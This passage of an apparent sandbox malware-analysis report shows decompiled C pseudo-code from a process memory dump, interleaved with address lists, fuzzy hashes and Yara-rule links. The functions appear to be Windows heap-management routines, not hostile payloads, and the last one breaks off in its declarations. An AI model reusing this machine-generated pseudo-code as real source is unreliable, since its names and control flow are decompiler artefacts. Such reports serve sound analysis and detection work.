										__eflags = _t117;
										 *0x1e1e58b8 = _t117;
										_t112 =  *(_t130 + 0x4c);
									}
									__eflags = _t112;
									if(_t112 == 0) {
										_t78 =  *_t128 & 0x0000ffff;
									} else {
										_t83 =  *_t128;
										__eflags =  *(_t130 + 0x4c) & _t83;
										if(( *(_t130 + 0x4c) & _t83) != 0) {
											_t83 = _t83 ^  *(_t130 + 0x50);
											__eflags = _t83;
										}
										_t78 = _t83 & 0x0000ffff;
									}
									_t122 = _t78 & 0x0000ffff;
									 *0x1e1e58bc = _t122;
									__eflags =  *(_t130 + 0x4c);
									_t113 = _v8 & 0x0000ffff;
									if( *(_t130 + 0x4c) == 0) {
										_t80 =  *(_t128 + _t113 * 8) & 0x0000ffff;
									} else {
										_t82 =  *(_t128 + _t113 * 8);
										__eflags =  *(_t130 + 0x4c) & _t82;
										if(( *(_t130 + 0x4c) & _t82) != 0) {
											_t82 = _t82 ^  *(_t130 + 0x50);
											__eflags = _t82;
										}
										_t122 =  *0x1e1e58bc; // 0x0
										_t80 = _t82 & 0x0000ffff;
									}
									_t81 = _t80 & 0x0000ffff;
									__eflags =  *0x1e1e58b8 - _t81; // 0x0
									if(__eflags == 0) {
										_t75 =  *(_t130 + 0x54) & 0x0000ffff;
										__eflags = _t122 - ( *(_t128 + 4 + _t113 * 8) & 0x0000ffff ^ _t75);
										if(_t122 == ( *(_t128 + 4 + _t113 * 8) & 0x0000ffff ^ _t75)) {
											goto L68;
										}
										 *0x1e1e5898 = 7;
										return _t75;
									} else {
										 *0x1e1e5898 = 6;
										return _t81;
									}
								}
								__eflags = _t102;
								if(_t102 == 0) {
									goto L42;
								}
								__eflags =  *(_t130 + 0x4c);
								if( *(_t130 + 0x4c) == 0) {
									_t86 =  *_t128 & 0x0000ffff;
								} else {
									_t91 =  *_t128;
									__eflags =  *(_t130 + 0x4c) & _t91;
									if(( *(_t130 + 0x4c) & _t91) != 0) {
										_t91 = _t91 ^  *(_t130 + 0x50);
										__eflags = _t91;
									}
									_t86 = _t91 & 0x0000ffff;
								}
								_v8 = _t86;
								_t90 = _t128 + (_v8 & 0x0000ffff) * 8;
								__eflags = _t90 - _t102 - (( *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff) << 3);
								if(_t90 == _t102 - (( *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff) << 3)) {
									goto L42;
								} else {
									 *0x1e1e5898 = 4;
									return _t90;
								}
							}
							_v20 =  *(_t130 + 0x54) & 0x0000ffff;
							while(1) {
								_t102 = _t111;
								_t95 = ( *(_t111 + 4) ^ _v20) & 0x0000ffff;
								__eflags = _t95;
								if(_t95 == 0) {
									goto L33;
								}
								_t111 = _t111 + _t95 * 0xfffffff8;
								__eflags = _t111 - _t121;
								if(_t111 > _t121) {
									continue;
								}
								goto L33;
							}
							goto L33;
						} else {
							_t103 =  *(_t130 + 0x4c);
							while(1) {
								_t128 = _t109;
								__eflags = _t103;
								if(_t103 == 0) {
									_t97 =  *_t109 & 0x0000ffff;
								} else {
									_t99 =  *_t109;
									_t103 =  *(_t130 + 0x4c);
									__eflags = _t99 & _t103;
									if((_t99 & _t103) != 0) {
										_t99 = _t99 ^  *(_t130 + 0x50);
										__eflags = _t99;
									}
									_t97 = _t99 & 0x0000ffff;
								}
								__eflags = _t97;
								if(_t97 == 0) {
									break;
								}
								_t109 = _t109 + (_t97 & 0x0000ffff) * 8;
								__eflags = _t109 - _t121;
								if(_t109 < _t121) {
									continue;
								}
								break;
							}
							_t102 = _v20;
							goto L29;
						}
					}
					_t133 = _v8;
					do {
						_t105 =  *((intOrPtr*)(_t76 + 0xc)) +  *((intOrPtr*)(_t76 + 8));
						_t129 = _v12;
						__eflags = _t105 - _t121;
						if(_t105 < _t121) {
							__eflags = _t105 - _t109;
							if(_t105 > _t109) {
								_t109 = _t105;
							}
						}
						_t106 =  *((intOrPtr*)(_t76 + 8));
						__eflags = _t106 - _t121;
						if(_t106 > _t121) {
							__eflags = _t133;
							if(_t133 == 0) {
								L14:
								_t18 = _t76 - 8; // -8
								_t133 = _t18;
								goto L15;
							}
							__eflags = _t106 -  *((intOrPtr*)(_t133 + 0x10));
							if(_t106 >=  *((intOrPtr*)(_t133 + 0x10))) {
								goto L15;
							}
							goto L14;
						}
						L15:
						_t76 =  *_t76;
						__eflags = _t76 - _t129;
					} while (_t76 != _t129);
					_t126 = _v20;
					_v8 = _t133;
					_t130 = _v16;
					goto L17;
				}
				goto L3;
			}

0x1e1b1002
0x1e1b100c
0x1e1b100f
0x1e1b1012
0x1e1b1018
0x00000000
0x1e1b102e
0x1e1b1030
0x00000000
0x1e1b1032
0x1e1b1032
0x1e1b1038
0x1e1b1038
0x1e1b121e
0x1e1b11ff
0x1e1b1205
0x1e1b1207
0x1e1b120c
0x1e1b120e
0x1e1b1210
0x1e1b1212
0x1e1b1212
0x1e1b1210
0x1e1b121c
0x1e1b121c
0x1e1b1228
0x1e1b1228
0x1e1b101c
0x1e1b101c
0x1e1b101c
0x1e1b101f
0x1e1b1022
0x1e1b1025
0x1e1b102c
0x1e1b102c
0x00000000
0x1e1b102c
0x1e1b1027
0x1e1b102a
0x1e1b103f
0x1e1b103f
0x1e1b1042
0x1e1b1044
0x1e1b1047
0x1e1b1049
0x1e1b104c
0x1e1b104e
0x1e1b1088
0x1e1b1088
0x1e1b108a
0x1e1b108d
0x1e1b108f
0x1e1b1091
0x1e1b1091
0x1e1b1093
0x1e1b1095
0x1e1b1097
0x1e1b10c8
0x1e1b10cb
0x1e1b10ce
0x1e1b10d0
0x1e1b10f4
0x1e1b10f4
0x1e1b10fa
0x1e1b1100
0x1e1b1102
0x1e1b1150
0x1e1b1150
0x1e1b1154
0x1e1b1167
0x1e1b116a
0x1e1b116a
0x1e1b1156
0x1e1b1156
0x1e1b1158
0x1e1b115b
0x1e1b115d
0x1e1b115f
0x1e1b115f
0x1e1b115f
0x1e1b1162
0x1e1b1162
0x1e1b116c
0x1e1b116f
0x1e1b1171
0x1e1b117b
0x1e1b117b
0x1e1b117d
0x1e1b1183
0x1e1b1183
0x1e1b1186
0x1e1b1188
0x1e1b1199
0x1e1b118a
0x1e1b118a
0x1e1b118c
0x1e1b118f
0x1e1b1191
0x1e1b1191
0x1e1b1191
0x1e1b1194
0x1e1b1194
0x1e1b119c
0x1e1b11a2
0x1e1b11a8
0x1e1b11ac
0x1e1b11af
0x1e1b11c7
0x1e1b11b1
0x1e1b11b1
0x1e1b11b4
0x1e1b11b7
0x1e1b11b9
0x1e1b11b9
0x1e1b11b9
0x1e1b11bc
0x1e1b11c2
0x1e1b11c2
0x1e1b11cb
0x1e1b11ce
0x1e1b11d4
0x1e1b11e7
0x1e1b11ed
0x1e1b11ef
0x00000000
0x00000000
0x1e1b11f1
0x00000000
0x1e1b11d6
0x1e1b11d6
0x00000000
0x1e1b11d6
0x1e1b11d4
0x1e1b1104
0x1e1b1106
0x00000000
0x00000000
0x1e1b1108
0x1e1b110c
0x1e1b111d
0x1e1b110e
0x1e1b110e
0x1e1b1110
0x1e1b1113
0x1e1b1115
0x1e1b1115
0x1e1b1115
0x1e1b1118
0x1e1b1118
0x1e1b1126
0x1e1b113a
0x1e1b113d
0x1e1b113f
0x00000000
0x1e1b1141
0x1e1b1141
0x00000000
0x1e1b1141
0x1e1b113f
0x1e1b10d6
0x1e1b10d9
0x1e1b10dd
0x1e1b10e3
0x1e1b10e6
0x1e1b10e9
0x00000000
0x00000000
0x1e1b10ee
0x1e1b10f0
0x1e1b10f2
0x00000000
0x00000000
0x00000000
0x1e1b10f2
0x00000000
0x1e1b1099
0x1e1b1099
0x1e1b109c
0x1e1b109c
0x1e1b109e
0x1e1b10a0
0x1e1b10b3
0x1e1b10a2
0x1e1b10a2
0x1e1b10a4
0x1e1b10a7
0x1e1b10a9
0x1e1b10ab
0x1e1b10ab
0x1e1b10ab
0x1e1b10ae
0x1e1b10ae
0x1e1b10b6
0x1e1b10b9
0x00000000
0x00000000
0x1e1b10be
0x1e1b10c1
0x1e1b10c3
0x00000000
0x00000000
0x00000000
0x1e1b10c3
0x1e1b10c5
0x00000000
0x1e1b10c5
0x1e1b1097
0x1e1b1050
0x1e1b1053
0x1e1b1056
0x1e1b1059
0x1e1b105c
0x1e1b105e
0x1e1b1060
0x1e1b1062
0x1e1b1064
0x1e1b1064
0x1e1b1062
0x1e1b1066
0x1e1b1069
0x1e1b106b
0x1e1b106d
0x1e1b106f
0x1e1b1076
0x1e1b1076
0x1e1b1076
0x00000000
0x1e1b1076
0x1e1b1071
0x1e1b1074
0x00000000
0x00000000
0x00000000
0x1e1b1074
0x1e1b1079
0x1e1b1079
0x1e1b107b
0x1e1b107b
0x1e1b107f
0x1e1b1082
0x1e1b1085
0x00000000
0x1e1b1085
0x00000000

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03eb758fe8f84d3a6dc9442f4c273cfe35b6050e587087cec9756eada2bd303c
Instruction ID: 902ecd27db2ab8b6c61acc3a1291a7ba046510c26b060867f853acaf7dd8b1bd
Opcode Fuzzy Hash: 03eb758fe8f84d3a6dc9442f4c273cfe35b6050e587087cec9756eada2bd303c
Instruction Fuzzy Hash: 5E716E34B00762CBCB14CF66D59067AB3F2FB44301B764A6EE9828B644E775ADD0CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C2B28, Relevance: .1, Instructions: 129
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E1C2B28(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, intOrPtr* _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				signed int _t30;
				signed int _t35;
				unsigned int _t50;
				signed int _t52;
				signed int _t53;
				unsigned int _t58;
				signed int _t61;
				signed int _t63;
				signed int _t67;
				signed int _t69;
				intOrPtr _t75;
				signed int _t81;
				signed int _t87;
				void* _t88;
				signed int _t90;
				signed int _t93;

				_t69 = __ecx;
				_t30 = _a4;
				_t90 = __edx;
				_t81 = __ecx;
				_v12 = __ecx;
				_t87 = _t30 - 8;
				if(( *(__ecx + 0x38) & 0x00000001) != 0 && (_t30 & 0x00000fff) == 0) {
					_t87 = _t87 - 8;
				}
				_t67 = 0;
				if(_t90 != 0) {
					L14:
					if((0x0000abed ^  *(_t90 + 0x16)) ==  *((intOrPtr*)(_t90 + 0x14))) {
						_t75 = (( *_t87 ^  *0x1e1e6110 ^ _t87) >> 0x00000001 & 0x00007fff) * 8 - 8;
						 *_a12 = _t75;
						_t35 = _a8 & 0x00000001;
						_v16 = _t35;
						if(_t35 == 0) {
							E1E112280(_t35, _t81);
							_t81 = _v12;
						}
						_v5 = 0xff;
						if(( *_t87 ^  *0x1e1e6110 ^ _t87) < 0) {
							_t91 = _v12;
							_t88 = E1E1C241A(_v12, _t90, _t87, _a8,  &_v5);
							if(_v16 == _t67) {
								E1E10FFB0(_t67, _t88, _t91);
							}
							if(_t88 != 0) {
								E1E1C3209(_t91, _t88, _a8);
							}
							_t67 = 1;
						} else {
							_push(_t75);
							_push(_t67);
							E1E1BA80D( *((intOrPtr*)(_t81 + 0x20)), 8, _a4, _t87);
							if(_v16 == _t67) {
								E1E10FFB0(_t67, _t87, _v12);
							}
						}
					} else {
						_push(_t69);
						_push(_t67);
						E1E1BA80D( *((intOrPtr*)(_t81 + 0x20)), 0x12, _t90, _t67);
					}
					return _t67;
				}
				_t69 =  *0x1e1e6110; // 0xdc35c6d8
				_t93 = _t87;
				_t50 = _t69 ^ _t87 ^  *_t87;
				if(_t50 >= 0) {
					_t52 = _t50 >> 0x00000010 & 0x00007fff;
					if(_t52 == 0) {
						L12:
						_t53 = _t67;
						L13:
						_t90 = _t93 - (_t53 << 0x0000000c) & 0xfffff000;
						goto L14;
					}
					_t93 = _t87 - (_t52 << 3);
					_t58 =  *_t93 ^ _t69 ^ _t93;
					if(_t58 < 0) {
						L10:
						_t61 =  *(_t93 + 4) ^ _t69 ^ _t93;
						L11:
						_t53 = _t61 & 0x000000ff;
						goto L13;
					}
					_t63 = _t58 >> 0x00000010 & 0x00007fff;
					if(_t63 == 0) {
						goto L12;
					}
					_t93 = _t93 + _t63 * 0xfffffff8;
					goto L10;
				}
				_t61 =  *(_t87 + 4) ^ _t69 ^ _t87;
				goto L11;
			}

0x1e1c2b28
0x1e1c2b30
0x1e1c2b35
0x1e1c2b37
0x1e1c2b3a
0x1e1c2b3d
0x1e1c2b44
0x1e1c2b4d
0x1e1c2b4d
0x1e1c2b50
0x1e1c2b54
0x1e1c2bb0
0x1e1c2bbd
0x1e1c2be8
0x1e1c2bef
0x1e1c2bf4
0x1e1c2bf7
0x1e1c2bfa
0x1e1c2bfd
0x1e1c2c02
0x1e1c2c02
0x1e1c2c0f
0x1e1c2c13
0x1e1c2c3b
0x1e1c2c4a
0x1e1c2c4f
0x1e1c2c52
0x1e1c2c52
0x1e1c2c59
0x1e1c2c62
0x1e1c2c62
0x1e1c2c69
0x1e1c2c15
0x1e1c2c18
0x1e1c2c19
0x1e1c2c21
0x1e1c2c29
0x1e1c2c2f
0x1e1c2c2f
0x1e1c2c29
0x1e1c2bbf
0x1e1c2bc2
0x1e1c2bc3
0x1e1c2bc9
0x1e1c2bc9
0x1e1c2c72
0x1e1c2c72
0x1e1c2b56
0x1e1c2b5c
0x1e1c2b62
0x1e1c2b64
0x1e1c2b72
0x1e1c2b77
0x1e1c2ba3
0x1e1c2ba3
0x1e1c2ba5
0x1e1c2baa
0x00000000
0x1e1c2baa
0x1e1c2b7e
0x1e1c2b84
0x1e1c2b86
0x1e1c2b97
0x1e1c2b9c
0x1e1c2b9e
0x1e1c2b9e
0x00000000
0x1e1c2b9e
0x1e1c2b8b
0x1e1c2b90
0x00000000
0x00000000
0x1e1c2b95
0x00000000
0x1e1c2b95
0x1e1c2b6b
0x00000000

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4223a0426eb8bcf242597424d78f1d20a91aa1f2d776a6e12110fc1d3dcf01
Instruction ID: 7a6ff267fb631f998e3ee8e57da9ba639d0be4d72348479b7801c031e05b3b60
Opcode Fuzzy Hash: fd4223a0426eb8bcf242597424d78f1d20a91aa1f2d776a6e12110fc1d3dcf01
Instruction Fuzzy Hash: 86413F73B109159BC314CF68C881AEBB7A9FF58A10B518B69F919C7244D734ED81C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C22AE, Relevance: .1, Instructions: 116
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E1C22AE(unsigned int* __ecx, intOrPtr __edx, void* __eflags, signed int _a4, signed int _a8, char* _a12) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t50;
				signed int _t53;
				signed char _t63;
				signed char _t71;
				signed char _t75;
				signed int _t77;
				unsigned int _t106;
				unsigned int* _t114;
				signed int _t117;

				_v20 = _v20 & 0x00000000;
				_t117 = _a4;
				_t114 = __ecx;
				_v24 = __edx;
				E1E1C21E8(_t117, __edx,  &_v16,  &_v12);
				if(_v24 != 0 && (_v12 | _v8) != 0) {
					_t71 =  !_v8;
					_v16 =  !_v12 >> 8 >> 8;
					_t72 = _t71 >> 8;
					_t50 = _v16;
					_t20 = (_t50 >> 8) + 0x1e0dac00; // 0x6070708
					_t75 = ( *((intOrPtr*)((_t71 >> 8 >> 8 >> 8) + 0x1e0dac00)) +  *((intOrPtr*)((_t71 >> 0x00000008 >> 0x00000008 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t71 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t72 & 0x000000ff) + 0x1e0dac00)) & 0x000000ff) + ( *_t20 +  *((intOrPtr*)((_t50 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t71 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t72 & 0x000000ff) + 0x1e0dac00)) & 0x000000ff);
					_v16 = _t75;
					if(( *(__ecx + 0x38) & 0x00000002) != 0) {
						L6:
						_t53 =  *0x1e1e6110; // 0xdc35c6d8
						 *_t117 = ( !_t53 ^  *_t117 ^ _t117) & 0x7fffffff ^  !_t53 ^ _t117;
						 *(_t117 + 4) = (_t117 - _v24 >> 0x0000000c ^  *0x1e1e6110 ^ _t117) & 0x000000ff | 0x00000200;
						_t77 = _a8 & 0x00000001;
						if(_t77 == 0) {
							E1E10FFB0(_t77, _t114, _t114);
						}
						_t63 = E1E1C2FBD(_t114, _v24, _v12, _v8, _v16, 0);
						_v36 = 1;
						if(_t77 == 0) {
							E1E112280(_t63, _t114);
						}
						 *(_t117 + 4) =  *(_t117 + 4) & 0xfffffdff;
						 *_a12 = 0xff;
					} else {
						_t106 =  *(__ecx + 0x18) >> 7;
						if(_t106 <= 8) {
							_t106 = 8;
						}
						if( *((intOrPtr*)(_t114 + 0x1c)) + _t75 > _t106) {
							goto L6;
						}
					}
				}
				return _v20;
			}

0x1e1c22b9
0x1e1c22c2
0x1e1c22c6
0x1e1c22c8
0x1e1c22d8
0x1e1c22e2
0x1e1c2303
0x1e1c2314
0x1e1c2321
0x1e1c234a
0x1e1c235b
0x1e1c236c
0x1e1c2372
0x1e1c2376
0x1e1c238f
0x1e1c238f
0x1e1c23b4
0x1e1c23c6
0x1e1c23c9
0x1e1c23cc
0x1e1c23cf
0x1e1c23cf
0x1e1c23e9
0x1e1c23ee
0x1e1c23f8
0x1e1c23fb
0x1e1c23fb
0x1e1c2403
0x1e1c240a
0x1e1c2378
0x1e1c237b
0x1e1c2381
0x1e1c2385
0x1e1c2385
0x1e1c238d
0x00000000
0x00000000
0x1e1c238d
0x1e1c2376
0x1e1c2417

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0969f1ee5d5ece6664943f9e452e126751d676c198bb5a1444500f359d52ec5e
Instruction ID: 7c6a449817fbd457d10e27784b09ebef99bbd31e8440df2f0b04285e5c583267
Opcode Fuzzy Hash: 0969f1ee5d5ece6664943f9e452e126751d676c198bb5a1444500f359d52ec5e
Instruction Fuzzy Hash: DC41F6712043428BC308CF25C8A19BABBE1FF95725F10465EF4D59B2C2CB34D889C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C20A8, Relevance: .1, Instructions: 114
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E1E1C20A8(intOrPtr __ecx, intOrPtr __edx, signed int _a4, signed int* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _t35;
				signed int _t57;
				unsigned int _t61;
				signed int _t63;
				signed int _t64;
				signed int _t73;
				signed int _t77;
				signed int _t80;
				signed int _t83;
				signed int _t84;
				unsigned int _t92;
				unsigned int _t97;
				signed int _t100;
				unsigned int _t102;

				_t79 = __edx;
				_t35 =  *0x1e1e6110; // 0xdc35c6d8
				_t57 = _a4;
				_v8 = __ecx;
				_t84 =  *_t57;
				_v12 = __edx;
				_t61 = _t84 ^ _t35 ^ _t57;
				_t83 = _t61 >> 0x00000001 & 0x00007fff;
				_v20 = _t83;
				 *_t57 = (_t84 ^ _t35 ^ _t57) & 0x7fffffff ^ _t35 ^ _t57;
				_t63 = _t61 >> 0x00000010 & 0x00007fff;
				if(_t63 != 0) {
					_t100 =  *0x1e1e6110; // 0xdc35c6d8
					_t77 = _t57 - (_t63 << 3);
					_v16 = _t77;
					_t102 = _t100 ^ _t77 ^  *_t77;
					_t106 = _t102;
					if(_t102 >= 0) {
						E1E1C2E3F(_v8, __edx, _t106, _t77);
						_t57 = _v16;
						_t79 = _v12;
						_t83 = _t83 + (_t102 >> 0x00000001 & 0x00007fff);
					}
				}
				_t64 = _t57 + _t83 * 8;
				if(_t64 < _t79 + (( *(_t79 + 0x14) & 0x0000ffff) + 3) * 8) {
					asm("lfence");
					_t97 =  *_t64 ^  *0x1e1e6110 ^ _t64;
					_t109 = _t97;
					if(_t97 >= 0) {
						E1E1C2E3F(_v8, _t79, _t109, _t64);
						_t79 = _v12;
						_t83 = _t83 + (_t97 >> 0x00000001 & 0x00007fff);
					}
				}
				if(( *(_v8 + 0x38) & 0x00000001) != 0) {
					_t73 = _t57 + _t83 * 8;
					if(_t73 < _t79 + (( *(_t79 + 0x14) & 0x0000ffff) + 3) * 8) {
						asm("lfence");
						_t92 =  *_t73 ^  *0x1e1e6110 ^ _t73;
						_t113 = _t92;
						if(_t92 >= 0) {
							E1E1C2E3F(_v8, _t79, _t113, _t73);
							_t83 = _t83 + (_t92 >> 0x00000001 & 0x00007fff);
						}
					}
				}
				if(_v20 != _t83) {
					_t66 = _v12;
					_t80 = _t57 + _t83 * 8;
					 *_t57 =  *_t57 ^ (_t83 + _t83 ^  *_t57 ^  *0x1e1e6110 ^ _t57) & 0x0000fffe;
					if(_t80 < _v12 + (( *(_t66 + 0x14) & 0x0000ffff) + 3) * 8) {
						 *_t80 =  *_t80 ^ (_t83 << 0x00000010 ^  *_t80 ^  *0x1e1e6110 ^ _t80) & 0x7fff0000;
					}
				}
				 *_a8 = _t83;
				return _t57;
			}

0x1e1c20a8
0x1e1c20b0
0x1e1c20b6
0x1e1c20ba
0x1e1c20be
0x1e1c20c4
0x1e1c20cb
0x1e1c20db
0x1e1c20e4
0x1e1c20e7
0x1e1c20e9
0x1e1c20ef
0x1e1c20f1
0x1e1c20fe
0x1e1c2102
0x1e1c2105
0x1e1c2105
0x1e1c2107
0x1e1c210d
0x1e1c2112
0x1e1c2115
0x1e1c2120
0x1e1c2120
0x1e1c2107
0x1e1c2126
0x1e1c2131
0x1e1c2133
0x1e1c213e
0x1e1c213e
0x1e1c2140
0x1e1c2146
0x1e1c214b
0x1e1c2156
0x1e1c2156
0x1e1c2140
0x1e1c215f
0x1e1c2165
0x1e1c2170
0x1e1c2172
0x1e1c217d
0x1e1c217d
0x1e1c217f
0x1e1c2185
0x1e1c2192
0x1e1c2192
0x1e1c217f
0x1e1c2170
0x1e1c2197
0x1e1c2199
0x1e1c21a1
0x1e1c21b1
0x1e1c21bf
0x1e1c21d6
0x1e1c21d6
0x1e1c21bf
0x1e1c21dd
0x1e1c21e5

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a1b84dce1d367ad1f9a32ad756af26849512db2b290b009b3751da55b2ab0cc
Instruction ID: 5aeb1c4387ab16c48569f0949f07c16bfbf1a796e22efde64f556c359c59fbaf
Opcode Fuzzy Hash: 5a1b84dce1d367ad1f9a32ad756af26849512db2b290b009b3751da55b2ab0cc
Instruction Fuzzy Hash: C941A333E1042A8BCB18CF68C4915BAB3F2FF8870475646BDD819EB295DB74AD41C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C2D07, Relevance: .1, Instructions: 112
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E1C2D07(void* __ecx, void* __edx, void* __eflags, signed short _a4) {
				char _v5;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int* _v24;
				signed int _t34;
				signed char _t40;
				signed int* _t49;
				signed int _t55;
				signed char _t57;
				signed char _t58;
				signed char _t59;
				signed short _t60;
				unsigned int _t66;
				unsigned int _t71;
				signed int _t77;
				signed char _t83;
				signed char _t84;
				signed int _t91;
				signed int _t93;
				signed int _t96;

				_t34 = E1E1C21E8(_a4, __edx,  &_v24,  &_v20);
				_t83 =  !_v20;
				_t57 =  !_v16;
				_t84 = _t83 >> 8;
				_v12 = _t84 >> 8;
				_v5 =  *((intOrPtr*)((_t83 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t84 & 0x000000ff) + 0x1e0dac00));
				_t58 = _t57 >> 8;
				_t59 = _t58 >> 8;
				_t66 = _t59 >> 8;
				_t60 = _a4;
				_t13 = _t66 + 0x1e0dac00; // 0x6070708
				_t40 = _v12;
				_t71 = _t40 >> 8;
				_v12 = 0;
				_t17 = _t71 + 0x1e0dac00; // 0x6070708
				 *((intOrPtr*)(__ecx + 0x1c)) =  *((intOrPtr*)(__ecx + 0x1c)) + ( *_t13 +  *((intOrPtr*)((_t59 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t57 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t58 & 0x000000ff) + 0x1e0dac00)) & 0x000000ff) + ( *_t17 +  *((intOrPtr*)((_t40 & 0x000000ff) + 0x1e0dac00)) + _v5 & 0x000000ff);
				 *_t60 =  *_t60 ^ ( *_t60 ^  *0x1e1e6110 ^ _t34 ^ _t60) & 0x00000001;
				_t49 = __ecx + 8;
				_t77 =  *_t60 & 0x0000ffff ^ _t60 & 0x0000ffff ^  *0x1e1e6110 & 0x0000ffff;
				_t91 =  *_t49;
				_t96 = _t49[1] & 1;
				_v24 = _t49;
				if(_t91 != 0) {
					_t93 = _t77;
					L2:
					while(1) {
						if(_t93 < (_t91 - 0x00000004 & 0x0000ffff ^  *(_t91 - 4) & 0x0000ffff ^  *0x1e1e6110 & 0x0000ffff)) {
							_t55 =  *_t91;
							if(_t96 == 0) {
								L11:
								if(_t55 == 0) {
									goto L13;
								} else {
									goto L12;
								}
							} else {
								if(_t55 == 0) {
									L13:
									_v12 = 0;
								} else {
									_t55 = _t55 ^ _t91;
									goto L11;
								}
							}
						} else {
							_t55 =  *(_t91 + 4);
							if(_t96 == 0) {
								L6:
								if(_t55 != 0) {
									L12:
									_t91 = _t55;
									continue;
								} else {
									goto L7;
								}
							} else {
								if(_t55 == 0) {
									L7:
									_v12 = 1;
								} else {
									_t55 = _t55 ^ _t91;
									goto L6;
								}
							}
						}
						goto L14;
					}
				}
				L14:
				_t29 = _t60 + 4; // 0x4
				return E1E10B090(_v24, _t91, _v12, _t29);
			}

0x1e1c2d1f
0x1e1c2d2c
0x1e1c2d31
0x1e1c2d33
0x1e1c2d42
0x1e1c2d4b
0x1e1c2d51
0x1e1c2d5d
0x1e1c2d62
0x1e1c2d6e
0x1e1c2d71
0x1e1c2d7d
0x1e1c2d87
0x1e1c2d8d
0x1e1c2d91
0x1e1c2da5
0x1e1c2db7
0x1e1c2dc8
0x1e1c2dcf
0x1e1c2dd1
0x1e1c2dd3
0x1e1c2dd6
0x1e1c2ddb
0x1e1c2ddd
0x00000000
0x1e1c2ddf
0x1e1c2df5
0x1e1c2e0e
0x1e1c2e12
0x1e1c2e1a
0x1e1c2e1c
0x00000000
0x00000000
0x00000000
0x00000000
0x1e1c2e14
0x1e1c2e16
0x1e1c2e22
0x1e1c2e22
0x1e1c2e18
0x1e1c2e18
0x00000000
0x1e1c2e18
0x1e1c2e16
0x1e1c2df7
0x1e1c2df7
0x1e1c2dfc
0x1e1c2e04
0x1e1c2e06
0x1e1c2e1e
0x1e1c2e1e
0x00000000
0x00000000
0x00000000
0x00000000
0x1e1c2dfe
0x1e1c2e00
0x1e1c2e08
0x1e1c2e08
0x1e1c2e02
0x1e1c2e02
0x00000000
0x1e1c2e02
0x1e1c2e00
0x1e1c2dfc
0x00000000
0x1e1c2df5
0x1e1c2ddf
0x1e1c2e26
0x1e1c2e26
0x1e1c2e3c

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09fb4aa30e86c3aed6396505fb68c60c94f352456cc2743330ee11026782d0d9
Instruction ID: 587e6fcbd46715ef5cdf91e37a1f37f4fec3ad2b777c67d6f318b61cde2ac2df
Opcode Fuzzy Hash: 09fb4aa30e86c3aed6396505fb68c60c94f352456cc2743330ee11026782d0d9
Instruction Fuzzy Hash: B1412A315001658FC705CF66C8A06FE7FF1FF95211B1682AAE885FB242DA38D986C770

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C2EF7, Relevance: .1, Instructions: 72
COMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E1E1C2EF7(void* __ecx, signed int __edx, void* _a8, signed int _a12) {
				char _v5;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t62;
				void* _t71;
				signed int _t94;
				signed int _t105;
				signed int _t106;
				void* _t107;
				signed int _t114;
				signed int _t115;
				signed int _t141;
				signed int _t142;
